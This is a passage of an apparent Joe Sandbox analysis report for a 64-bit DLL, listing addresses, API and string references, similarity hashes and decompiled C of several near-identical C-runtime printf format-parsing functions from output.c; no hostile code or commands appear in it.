0x7fef9d3bfaa
0x7fef9d3bfac
0x7fef9d3bfae
0x7fef9d3bfb9
0x7fef9d3bfbe
0x7fef9d3bfc7
0x7fef9d3bfcb
0x7fef9d3bfd1
0x7fef9d3bfe6
0x7fef9d3bff7
0x7fef9d3c006
0x7fef9d3c02d

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3BB09
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BB1E

Strings

("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
0, xrefs: 000007FEF9D3BD31
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4
_output_s_l, xrefs: 000007FEF9D3BAFB

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__invalid_parameter
String ID: ("Incorrect format specifier", 0)$0$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 530996419-4087627031
Opcode ID: 287329bbe28ac3486ddbb9e235f19a10cbf988fa35318df4d11335d2ff3f0aeb
Instruction ID: f671f2f81670ff54d1d55a26610e2e3881df7bf560f190d6bc7d2e9ce8938301
Opcode Fuzzy Hash: 287329bbe28ac3486ddbb9e235f19a10cbf988fa35318df4d11335d2ff3f0aeb
Instruction Fuzzy Hash: 8B517E72A0D6C28AF3F18B64E855BBEB7E4F384345F600126D2C9869A9DB7DE540CF10

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3DCA8 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 111
COMMON

Download Yara Rule

C-Code - Quality: 27%

			E000007FE7FEF9D3DCA8(signed int _a80, signed int _a88, intOrPtr _a116, signed int _a1208, intOrPtr _a1216, signed int _a1404, signed int _a1408, signed int _a1412, signed short* _a1544, char _a1560) {
				void* _t171;
				char* _t191;
				char* _t192;

				_a1404 = _a1208 & 0x0000ffff;
				if (_a1404 == 0x20) goto 0xf9d3dd05;
				if (_a1404 == 0x23) goto 0xf9d3dd12;
				if (_a1404 == 0x2b) goto 0xf9d3dcf8;
				if (_a1404 == 0x2d) goto 0xf9d3dceb;
				if (_a1404 == 0x30) goto 0xf9d3dd20;
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000004;
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000001;
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000002;
				goto 0xf9d3dd2b;
				asm("bts eax, 0x7");
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000008;
				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3dd6c;
				_t191 =  &_a1560;
				_a88 = E000007FE7FEF9D31E40(_t191);
				if (_a88 >= 0) goto 0xf9d3dd6a;
				_a80 = _a80 | 0x00000004;
				_a88 =  ~_a88;
				goto 0xf9d3dd83;
				_a88 = _t171 + _t191 - 0x30;
				_a116 = 0;
				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3ddc4;
				_t192 =  &_a1560;
				_a116 = E000007FE7FEF9D31E40(_t192);
				if (_a116 >= 0) goto 0xf9d3ddc2;
				_a116 = 0xffffffff;
				goto 0xf9d3dddb;
				_a116 = _t171 + _t192 - 0x30;
				_a1408 = _a1208 & 0x0000ffff;
				if (_a1408 == 0x49) goto 0xf9d3de66;
				if (_a1408 == 0x68) goto 0xf9d3df6f;
				if (_a1408 == 0x6c) goto 0xf9d3de24;
				if (_a1408 == 0x77) goto 0xf9d3df7c;
				goto 0xf9d3df88;
				if (( *_a1544 & 0x0000ffff) != 0x6c) goto 0xf9d3de56;
				_a1544 =  &(_a1544[1]);
				asm("bts eax, 0xc");
				goto 0xf9d3de61;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3df88;
				asm("bts eax, 0xf");
				if (( *_a1544 & 0x0000ffff) != 0x36) goto 0xf9d3deb8;
				if ((_a1544[1] & 0x0000ffff) != 0x34) goto 0xf9d3deb8;
				_a1544 =  &(_a1544[2]);
				asm("bts eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) != 0x33) goto 0xf9d3defb;
				if ((_a1544[1] & 0x0000ffff) != 0x32) goto 0xf9d3defb;
				_a1544 =  &(_a1544[2]);
				asm("btr eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) == 0x64) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x69) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x6f) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x75) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x78) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) != 0x58) goto 0xf9d3df5d;
				goto 0xf9d3df6d;
				_a1216 = 0;
				goto E000007FE7FEF9D3DC41;
				goto 0xf9d3df88;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3df88;
				asm("bts eax, 0xb");
				_a1412 = _a1208 & 0x0000ffff;
				_a1412 = _a1412 - 0x41;
				if (_a1412 - 0x37 > 0) goto 0xf9d3ea2a;
				goto __rax;
			}

0x7fef9d3dcb0
0x7fef9d3dcbf
0x7fef9d3dcc9
0x7fef9d3dcd3
0x7fef9d3dcdd
0x7fef9d3dce7
0x7fef9d3dce9
0x7fef9d3dcf2
0x7fef9d3dcf6
0x7fef9d3dcff
0x7fef9d3dd03
0x7fef9d3dd0c
0x7fef9d3dd10
0x7fef9d3dd16
0x7fef9d3dd1e
0x7fef9d3dd27
0x7fef9d3dd3b
0x7fef9d3dd3d
0x7fef9d3dd4a
0x7fef9d3dd53
0x7fef9d3dd5c
0x7fef9d3dd66
0x7fef9d3dd6a
0x7fef9d3dd7f
0x7fef9d3dd88
0x7fef9d3dda0
0x7fef9d3dda2
0x7fef9d3ddaf
0x7fef9d3ddb8
0x7fef9d3ddba
0x7fef9d3ddc2
0x7fef9d3ddd7
0x7fef9d3dde8
0x7fef9d3ddf7
0x7fef9d3de01
0x7fef9d3de0f
0x7fef9d3de19
0x7fef9d3de1f
0x7fef9d3de32
0x7fef9d3de40
0x7fef9d3de4c
0x7fef9d3de54
0x7fef9d3de5d
0x7fef9d3de61
0x7fef9d3de6a
0x7fef9d3de80
0x7fef9d3de91
0x7fef9d3de9f
0x7fef9d3deab
0x7fef9d3deb3
0x7fef9d3dec6
0x7fef9d3ded7
0x7fef9d3dee5
0x7fef9d3def1
0x7fef9d3def9
0x7fef9d3df09
0x7fef9d3df19
0x7fef9d3df29
0x7fef9d3df39
0x7fef9d3df49
0x7fef9d3df59
0x7fef9d3df5b
0x7fef9d3df5d
0x7fef9d3df68
0x7fef9d3df6d
0x7fef9d3df76
0x7fef9d3df7a
0x7fef9d3df80
0x7fef9d3df95
0x7fef9d3dfa6
0x7fef9d3dfb5
0x7fef9d3dfdc

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3DBE4
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DBF9

Strings

_woutput_s_l, xrefs: 000007FEF9D3DBD6
0, xrefs: 000007FEF9D3DCDF
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__invalid_parameter
String ID: ("Incorrect format specifier", 0)$0$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 530996419-1247675978
Opcode ID: dafc102d997b2a6b976dbf7f56485c8afddec954203f225463beab32e96cec62
Instruction ID: decea58dbdbd6501be5c610137b77bb3c0dc28cbce38a3a9de9bceb14a18b164
Opcode Fuzzy Hash: dafc102d997b2a6b976dbf7f56485c8afddec954203f225463beab32e96cec62
Instruction Fuzzy Hash: 1F510CB2A0C6C68AE7B09B64F8407BEB7E0F385346F600125D6C9869A8D77DE444DF10

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3BD82 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 99
COMMON

Download Yara Rule

C-Code - Quality: 26%

			E000007FE7FEF9D3BD82(signed int _a80, signed int _a88, intOrPtr _a116, signed int _a696, intOrPtr _a704, char _a972, signed int _a976, void* _a1096, char _a1112) {
				void* _t139;
				char* _t159;
				char* _t160;

				if (_a696 != 0x2a) goto 0xf9d3bdbe;
				_t159 =  &_a1112;
				_a88 = E000007FE7FEF9D31E40(_t159);
				if (_a88 >= 0) goto 0xf9d3bdbc;
				_a80 = _a80 | 0x00000004;
				_a88 =  ~_a88;
				goto 0xf9d3bdd5;
				_a88 = _t139 + _t159 - 0x30;
				_a116 = 0;
				if (_a696 != 0x2a) goto 0xf9d3be16;
				_t160 =  &_a1112;
				_a116 = E000007FE7FEF9D31E40(_t160);
				if (_a116 >= 0) goto 0xf9d3be14;
				_a116 = 0xffffffff;
				goto 0xf9d3be2d;
				_a116 = _t139 + _t160 - 0x30;
				_a972 = _a696 & 0x000000ff;
				if (_a972 == 0x49) goto 0xf9d3beb7;
				if (_a972 == 0x68) goto 0xf9d3bfc0;
				if (_a972 == 0x6c) goto 0xf9d3be76;
				if (_a972 == 0x77) goto 0xf9d3bfcd;
				goto 0xf9d3bfd9;
				if ( *_a1096 != 0x6c) goto 0xf9d3bea7;
				_a1096 = _a1096 + 1;
				asm("bts eax, 0xc");
				goto 0xf9d3beb2;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xf");
				if ( *_a1096 != 0x36) goto 0xf9d3bf09;
				if ( *((char*)(_a1096 + 1)) != 0x34) goto 0xf9d3bf09;
				_a1096 = _a1096 + 2;
				asm("bts eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 != 0x33) goto 0xf9d3bf4c;
				if ( *((char*)(_a1096 + 1)) != 0x32) goto 0xf9d3bf4c;
				_a1096 = _a1096 + 2;
				asm("btr eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 == 0x64) goto 0xf9d3bfac;
				if ( *_a1096 == 0x69) goto 0xf9d3bfac;
				if ( *_a1096 == 0x6f) goto 0xf9d3bfac;
				if ( *_a1096 == 0x75) goto 0xf9d3bfac;
				if ( *_a1096 == 0x78) goto 0xf9d3bfac;
				if ( *_a1096 != 0x58) goto 0xf9d3bfae;
				goto 0xf9d3bfbe;
				_a704 = 0;
				goto E000007FE7FEF9D3BB66;
				goto 0xf9d3bfd9;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xb");
				_a976 = _a696;
				_a976 = _a976 - 0x41;
				if (_a976 - 0x37 > 0) goto 0xf9d3ca31;
				goto __rax;
			}

0x7fef9d3bd8d
0x7fef9d3bd8f
0x7fef9d3bd9c
0x7fef9d3bda5
0x7fef9d3bdae
0x7fef9d3bdb8
0x7fef9d3bdbc
0x7fef9d3bdd1
0x7fef9d3bdda
0x7fef9d3bdf2
0x7fef9d3bdf4
0x7fef9d3be01
0x7fef9d3be0a
0x7fef9d3be0c
0x7fef9d3be14
0x7fef9d3be29
0x7fef9d3be3a
0x7fef9d3be49
0x7fef9d3be53
0x7fef9d3be61
0x7fef9d3be6b
0x7fef9d3be71
0x7fef9d3be84
0x7fef9d3be91
0x7fef9d3be9d
0x7fef9d3bea5
0x7fef9d3beae
0x7fef9d3beb2
0x7fef9d3bebb
0x7fef9d3bed1
0x7fef9d3bee2
0x7fef9d3bef0
0x7fef9d3befc
0x7fef9d3bf04
0x7fef9d3bf17
0x7fef9d3bf28
0x7fef9d3bf36
0x7fef9d3bf42
0x7fef9d3bf4a
0x7fef9d3bf5a
0x7fef9d3bf6a
0x7fef9d3bf7a
0x7fef9d3bf8a
0x7fef9d3bf9a
0x7fef9d3bfaa
0x7fef9d3bfac
0x7fef9d3bfae
0x7fef9d3bfb9
0x7fef9d3bfbe
0x7fef9d3bfc7
0x7fef9d3bfcb
0x7fef9d3bfd1
0x7fef9d3bfe6
0x7fef9d3bff7
0x7fef9d3c006
0x7fef9d3c02d

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3BB09
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BB1E
get_int_arg.LIBCMTD ref: 000007FEF9D3BD97

Strings

("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4
_output_s_l, xrefs: 000007FEF9D3BAFB

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__invalid_parameterget_int_arg
String ID: ("Incorrect format specifier", 0)$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2576288505-192189897
Opcode ID: b576c27c8c875c1ce4182572011a22670079dadd40bff06c5e4b49d8cc0733f6
Instruction ID: 7af9cebcf9cdbe51cb5c05a1613d0acac690945035c75598d7829d850d960732
Opcode Fuzzy Hash: b576c27c8c875c1ce4182572011a22670079dadd40bff06c5e4b49d8cc0733f6
Instruction Fuzzy Hash: 40515E72A0D6C68AE7F0DB24E8947BEBBE4E384355F600126D2CD869A9DB7DD540CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3DD30 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 99
COMMON

Download Yara Rule

C-Code - Quality: 26%

			E000007FE7FEF9D3DD30(signed int _a80, signed int _a88, intOrPtr _a116, signed int _a1208, intOrPtr _a1216, signed int _a1408, signed int _a1412, signed short* _a1544, char _a1560) {
				void* _t139;
				char* _t159;
				char* _t160;

				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3dd6c;
				_t159 =  &_a1560;
				_a88 = E000007FE7FEF9D31E40(_t159);
				if (_a88 >= 0) goto 0xf9d3dd6a;
				_a80 = _a80 | 0x00000004;
				_a88 =  ~_a88;
				goto 0xf9d3dd83;
				_a88 = _t139 + _t159 - 0x30;
				_a116 = 0;
				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3ddc4;
				_t160 =  &_a1560;
				_a116 = E000007FE7FEF9D31E40(_t160);
				if (_a116 >= 0) goto 0xf9d3ddc2;
				_a116 = 0xffffffff;
				goto 0xf9d3dddb;
				_a116 = _t139 + _t160 - 0x30;
				_a1408 = _a1208 & 0x0000ffff;
				if (_a1408 == 0x49) goto 0xf9d3de66;
				if (_a1408 == 0x68) goto 0xf9d3df6f;
				if (_a1408 == 0x6c) goto 0xf9d3de24;
				if (_a1408 == 0x77) goto 0xf9d3df7c;
				goto 0xf9d3df88;
				if (( *_a1544 & 0x0000ffff) != 0x6c) goto 0xf9d3de56;
				_a1544 =  &(_a1544[1]);
				asm("bts eax, 0xc");
				goto 0xf9d3de61;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3df88;
				asm("bts eax, 0xf");
				if (( *_a1544 & 0x0000ffff) != 0x36) goto 0xf9d3deb8;
				if ((_a1544[1] & 0x0000ffff) != 0x34) goto 0xf9d3deb8;
				_a1544 =  &(_a1544[2]);
				asm("bts eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) != 0x33) goto 0xf9d3defb;
				if ((_a1544[1] & 0x0000ffff) != 0x32) goto 0xf9d3defb;
				_a1544 =  &(_a1544[2]);
				asm("btr eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) == 0x64) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x69) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x6f) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x75) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x78) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) != 0x58) goto 0xf9d3df5d;
				goto 0xf9d3df6d;
				_a1216 = 0;
				goto E000007FE7FEF9D3DC41;
				goto 0xf9d3df88;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3df88;
				asm("bts eax, 0xb");
				_a1412 = _a1208 & 0x0000ffff;
				_a1412 = _a1412 - 0x41;
				if (_a1412 - 0x37 > 0) goto 0xf9d3ea2a;
				goto __rax;
			}

0x7fef9d3dd3b
0x7fef9d3dd3d
0x7fef9d3dd4a
0x7fef9d3dd53
0x7fef9d3dd5c
0x7fef9d3dd66
0x7fef9d3dd6a
0x7fef9d3dd7f
0x7fef9d3dd88
0x7fef9d3dda0
0x7fef9d3dda2
0x7fef9d3ddaf
0x7fef9d3ddb8
0x7fef9d3ddba
0x7fef9d3ddc2
0x7fef9d3ddd7
0x7fef9d3dde8
0x7fef9d3ddf7
0x7fef9d3de01
0x7fef9d3de0f
0x7fef9d3de19
0x7fef9d3de1f
0x7fef9d3de32
0x7fef9d3de40
0x7fef9d3de4c
0x7fef9d3de54
0x7fef9d3de5d
0x7fef9d3de61
0x7fef9d3de6a
0x7fef9d3de80
0x7fef9d3de91
0x7fef9d3de9f
0x7fef9d3deab
0x7fef9d3deb3
0x7fef9d3dec6
0x7fef9d3ded7
0x7fef9d3dee5
0x7fef9d3def1
0x7fef9d3def9
0x7fef9d3df09
0x7fef9d3df19
0x7fef9d3df29
0x7fef9d3df39
0x7fef9d3df49
0x7fef9d3df59
0x7fef9d3df5b
0x7fef9d3df5d
0x7fef9d3df68
0x7fef9d3df6d
0x7fef9d3df76
0x7fef9d3df7a
0x7fef9d3df80
0x7fef9d3df95
0x7fef9d3dfa6
0x7fef9d3dfb5
0x7fef9d3dfdc

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3DBE4
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DBF9
get_int_arg.LIBCMTD ref: 000007FEF9D3DD45

Strings

_woutput_s_l, xrefs: 000007FEF9D3DBD6
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__invalid_parameterget_int_arg
String ID: ("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2576288505-734865713
Opcode ID: 73e6b479e683be5ecb6b5fbd55da46f8fdb801a5518f0397c70b55b6842a44e9
Instruction ID: f5bf503dfe25a3916c99f1d9d67644448d63221e22ccd8ab12d6653ca93a9968
Opcode Fuzzy Hash: 73e6b479e683be5ecb6b5fbd55da46f8fdb801a5518f0397c70b55b6842a44e9
Instruction Fuzzy Hash: 0E510DB2A0C6C28AE7F09B64E8407BEB7E4F394345F600126E6C9879A9DB7DD445CF14

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3BDE7 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 94
COMMON

Download Yara Rule

C-Code - Quality: 24%

			E000007FE7FEF9D3BDE7(signed int _a80, intOrPtr _a116, signed int _a696, intOrPtr _a704, char _a972, signed int _a976, void* _a1096, char _a1112) {
				void* _t113;
				char* _t133;

				if (_a696 != 0x2a) goto 0xf9d3be16;
				_t133 =  &_a1112;
				_a116 = E000007FE7FEF9D31E40(_t133);
				if (_a116 >= 0) goto 0xf9d3be14;
				_a116 = 0xffffffff;
				goto 0xf9d3be2d;
				_a116 = _t113 + _t133 - 0x30;
				_a972 = _a696 & 0x000000ff;
				if (_a972 == 0x49) goto 0xf9d3beb7;
				if (_a972 == 0x68) goto 0xf9d3bfc0;
				if (_a972 == 0x6c) goto 0xf9d3be76;
				if (_a972 == 0x77) goto 0xf9d3bfcd;
				goto 0xf9d3bfd9;
				if ( *_a1096 != 0x6c) goto 0xf9d3bea7;
				_a1096 = _a1096 + 1;
				asm("bts eax, 0xc");
				goto 0xf9d3beb2;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xf");
				if ( *_a1096 != 0x36) goto 0xf9d3bf09;
				if ( *((char*)(_a1096 + 1)) != 0x34) goto 0xf9d3bf09;
				_a1096 = _a1096 + 2;
				asm("bts eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 != 0x33) goto 0xf9d3bf4c;
				if ( *((char*)(_a1096 + 1)) != 0x32) goto 0xf9d3bf4c;
				_a1096 = _a1096 + 2;
				asm("btr eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 == 0x64) goto 0xf9d3bfac;
				if ( *_a1096 == 0x69) goto 0xf9d3bfac;
				if ( *_a1096 == 0x6f) goto 0xf9d3bfac;
				if ( *_a1096 == 0x75) goto 0xf9d3bfac;
				if ( *_a1096 == 0x78) goto 0xf9d3bfac;
				if ( *_a1096 != 0x58) goto 0xf9d3bfae;
				goto 0xf9d3bfbe;
				_a704 = 0;
				goto E000007FE7FEF9D3BB66;
				goto 0xf9d3bfd9;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xb");
				_a976 = _a696;
				_a976 = _a976 - 0x41;
				if (_a976 - 0x37 > 0) goto 0xf9d3ca31;
				goto __rax;
			}

0x7fef9d3bdf2
0x7fef9d3bdf4
0x7fef9d3be01
0x7fef9d3be0a
0x7fef9d3be0c
0x7fef9d3be14
0x7fef9d3be29
0x7fef9d3be3a
0x7fef9d3be49
0x7fef9d3be53
0x7fef9d3be61
0x7fef9d3be6b
0x7fef9d3be71
0x7fef9d3be84
0x7fef9d3be91
0x7fef9d3be9d
0x7fef9d3bea5
0x7fef9d3beae
0x7fef9d3beb2
0x7fef9d3bebb
0x7fef9d3bed1
0x7fef9d3bee2
0x7fef9d3bef0
0x7fef9d3befc
0x7fef9d3bf04
0x7fef9d3bf17
0x7fef9d3bf28
0x7fef9d3bf36
0x7fef9d3bf42
0x7fef9d3bf4a
0x7fef9d3bf5a
0x7fef9d3bf6a
0x7fef9d3bf7a
0x7fef9d3bf8a
0x7fef9d3bf9a
0x7fef9d3bfaa
0x7fef9d3bfac
0x7fef9d3bfae
0x7fef9d3bfb9
0x7fef9d3bfbe
0x7fef9d3bfc7
0x7fef9d3bfcb
0x7fef9d3bfd1
0x7fef9d3bfe6
0x7fef9d3bff7
0x7fef9d3c006
0x7fef9d3c02d

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3BB09
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BB1E
get_int_arg.LIBCMTD ref: 000007FEF9D3BDFC

Strings

("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4
_output_s_l, xrefs: 000007FEF9D3BAFB

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__invalid_parameterget_int_arg
String ID: ("Incorrect format specifier", 0)$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2576288505-192189897
Opcode ID: 4684e22f791ce69839f562b923e995fff9986fe21dc9389a852d4c7307e36990
Instruction ID: 7a8513096c3cb2bd444751f94b1f2e61cedcdb1a9580f93edff9428065c01d53
Opcode Fuzzy Hash: 4684e22f791ce69839f562b923e995fff9986fe21dc9389a852d4c7307e36990
Instruction Fuzzy Hash: 0C415B72A0DAC28AE7F0DB24E8947BEB7E4E384745F600126D6DD869A9DB3DD541CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3DD95 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 94
COMMON

Download Yara Rule

C-Code - Quality: 24%

			E000007FE7FEF9D3DD95(signed int _a80, intOrPtr _a116, signed int _a1208, intOrPtr _a1216, signed int _a1408, signed int _a1412, signed short* _a1544, char _a1560) {
				void* _t113;
				char* _t133;

				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3ddc4;
				_t133 =  &_a1560;
				_a116 = E000007FE7FEF9D31E40(_t133);
				if (_a116 >= 0) goto 0xf9d3ddc2;
				_a116 = 0xffffffff;
				goto 0xf9d3dddb;
				_a116 = _t113 + _t133 - 0x30;
				_a1408 = _a1208 & 0x0000ffff;
				if (_a1408 == 0x49) goto 0xf9d3de66;
				if (_a1408 == 0x68) goto 0xf9d3df6f;
				if (_a1408 == 0x6c) goto 0xf9d3de24;
				if (_a1408 == 0x77) goto 0xf9d3df7c;
				goto 0xf9d3df88;
				if (( *_a1544 & 0x0000ffff) != 0x6c) goto 0xf9d3de56;
				_a1544 =  &(_a1544[1]);
				asm("bts eax, 0xc");
				goto 0xf9d3de61;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3df88;
				asm("bts eax, 0xf");
				if (( *_a1544 & 0x0000ffff) != 0x36) goto 0xf9d3deb8;
				if ((_a1544[1] & 0x0000ffff) != 0x34) goto 0xf9d3deb8;
				_a1544 =  &(_a1544[2]);
				asm("bts eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) != 0x33) goto 0xf9d3defb;
				if ((_a1544[1] & 0x0000ffff) != 0x32) goto 0xf9d3defb;
				_a1544 =  &(_a1544[2]);
				asm("btr eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) == 0x64) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x69) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x6f) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x75) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x78) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) != 0x58) goto 0xf9d3df5d;
				goto 0xf9d3df6d;
				_a1216 = 0;
				goto E000007FE7FEF9D3DC41;
				goto 0xf9d3df88;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3df88;
				asm("bts eax, 0xb");
				_a1412 = _a1208 & 0x0000ffff;
				_a1412 = _a1412 - 0x41;
				if (_a1412 - 0x37 > 0) goto 0xf9d3ea2a;
				goto __rax;
			}

0x7fef9d3dda0
0x7fef9d3dda2
0x7fef9d3ddaf
0x7fef9d3ddb8
0x7fef9d3ddba
0x7fef9d3ddc2
